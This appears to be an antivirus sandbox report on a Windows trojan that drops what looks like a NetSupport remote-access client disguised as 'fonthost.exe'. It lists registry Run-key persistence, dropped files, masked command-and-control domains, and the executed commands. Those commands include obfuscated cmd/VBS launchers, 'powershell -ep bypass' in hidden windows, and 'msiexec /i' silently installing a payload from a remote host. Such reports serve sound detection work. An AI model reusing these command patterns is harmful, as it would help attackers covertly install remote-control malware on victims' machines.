Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'fonthost' = '%APPDATA%\ctvQNYwA\fonthost.exe'
Modifies file system
Creates the following files
- %TEMP%\nsx614.tmp\blowfish.dll
- %TEMP%\serverfidvgsxoon.ps1
- %TEMP%\nsx614.tmp\system.dll
- %APPDATA%\fidvgsxoon.vbs
- %APPDATA%\ctvqnywa\fonthost.exe
- %APPDATA%\ctvqnywa\client32.ini
- %APPDATA%\ctvqnywa\htctl32.dll
- %APPDATA%\ctvqnywa\msvcr100.dll
- %APPDATA%\ctvqnywa\nskbfltr.inf
- %APPDATA%\ctvqnywa\nsm.ini
- %APPDATA%\ctvqnywa\nsm.lic
- %APPDATA%\ctvqnywa\pcicapi.dll
- %APPDATA%\ctvqnywa\pcichek.dll
- %APPDATA%\ctvqnywa\pcicl32.dll
- %APPDATA%\ctvqnywa\remcmdstub.exe
Deletes the following files
- %TEMP%\nsx614.tmp\blowfish.dll
- %TEMP%\nsx614.tmp\system.dll
- %APPDATA%\fidvgsxoon.vbs
Network activity
TCP
HTTP GET requests
- http://ge#.####upportsoftware.com/location/loca.asp
- http://sa###f7774.pw/iplog/newg.php?hs########################
UDP
- DNS ASK al###pics.org
- DNS ASK ge#.####upportsoftware.com
- DNS ASK sa###f7774.pw
Miscellaneous
Searches for the following windows
- ClassName: 'NSMWClass' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\wscript.exe' %APPDATA%\FIDVGSXOON.vbs
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -f %TEMP%\serverFIDVGSXOON.ps1
- '%APPDATA%\ctvqnywa\fonthost.exe'
- '<SYSTEM32>\cmd.exe' /c ec^h^o CreateObject("Wscript.Shell").Run "cmd /c cmd /c cmd /c powershell -ep bypass -f %TEMP%\serverFIDVGSXOON.ps1", 0, False > %appdata%\FIDVGSXOON.vb^s& wscript %appdata%\FIDVGSXOON.vb^s&...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c cmd /c cmd /c powershell -ep bypass -f %TEMP%\serverFIDVGSXOON.ps1' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ec^h^o CreateObject("Wscript.Shell").Run "cmd /c cmd /c cmd /c powershell -ep bypass -f %TEMP%\serverFIDVGSXOON.ps1", 0, False > %appdata%\FIDVGSXOON.vb^s& wscript %appdata%\FIDVGSXOON.vb^s&...
- '<SYSTEM32>\cmd.exe' /c cmd /c cmd /c powershell -ep bypass -f %TEMP%\serverFIDVGSXOON.ps1
- '<SYSTEM32>\cmd.exe' /c cmd /c powershell -ep bypass -f %TEMP%\serverFIDVGSXOON.ps1
- '<SYSTEM32>\cmd.exe' /c powershell -ep bypass -f %TEMP%\serverFIDVGSXOON.ps1
- '<SYSTEM32>\msiexec.exe' /i http://sa###f7774.pw/iplog/newg.php?hs######################## /q
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v fonthost /t REG_SZ /d %APPDATA%\ctvQNYwA\fonthost.exe /f
- '<SYSTEM32>\msiexec.exe' /i http://sa###f7774.pw/iplog/newg.php?hs####################### /q
